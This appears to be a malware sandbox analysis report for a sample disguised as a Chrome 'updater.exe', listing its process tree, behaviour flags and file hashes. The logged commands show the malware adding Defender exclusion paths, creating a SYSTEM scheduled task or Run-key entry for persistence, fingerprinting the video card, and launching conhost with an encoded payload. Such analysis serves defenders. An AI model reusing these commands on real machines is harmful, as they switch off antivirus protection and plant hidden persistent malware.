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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4364
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:892
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:556
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4932
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3076
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4276
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4328
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
249KB
MD5c688992422a2202c34bbcda0a21ff3ea
SHA1793da53336d6ee5735440a58ad3eea645dc4105c
SHA2568a669e45688a16df943f5dc07cc6756f4de382cfa89137b57857dd61f354cd80
SHA512d90ccf4a1a6fde594351751f03663bb20874a519f346b31a1f9c551c795f57297fc3fb937c0d5c656d3531b2bdd9f3764234bb3f9869616bd04db4ca2012cc5b
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Filesize
286KB
MD576ae98f39f3e1d5a9ec6ff9dcae23141
SHA110d078b05b5d4d5b6492da4c2e841ac959110b89
SHA256edf7bf68a421877f0d176f66b323f2119f11bbcc8a201bd4cd39a8a1e46aa1d9
SHA5123eacdc4a3d905750a91b43b9e8803e64db1d9eb073fa24c66323ae43eefe16a0dde42bf136d01a64ffda9a81e5e6be7e68c4cd3632e513f96880c0b17301c46c
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD52979eabc783eaca50de7be23dd4eafcf
SHA1d709ce5f3a06b7958a67e20870bfd95b83cad2ea
SHA256006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903
SHA51292bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba
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Filesize
1KB
MD5a16b84830c7c18df54f25c15d0f81951
SHA19d817fc72fbaf76175e677dec66002e9bdff6da0
SHA2560d7a62ab7c299a90db4e2ec1a6c4b10e7bf17879f699f042728e7f4870c69a53
SHA51298b62f81111e958787db2137649d7ae1769ae142dce1d824a8093283fac50846f59e0b1e1cfe26ed07322bee1c8ddad2bc1b18a0d69ecaa1f79c7a9bc26300b6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5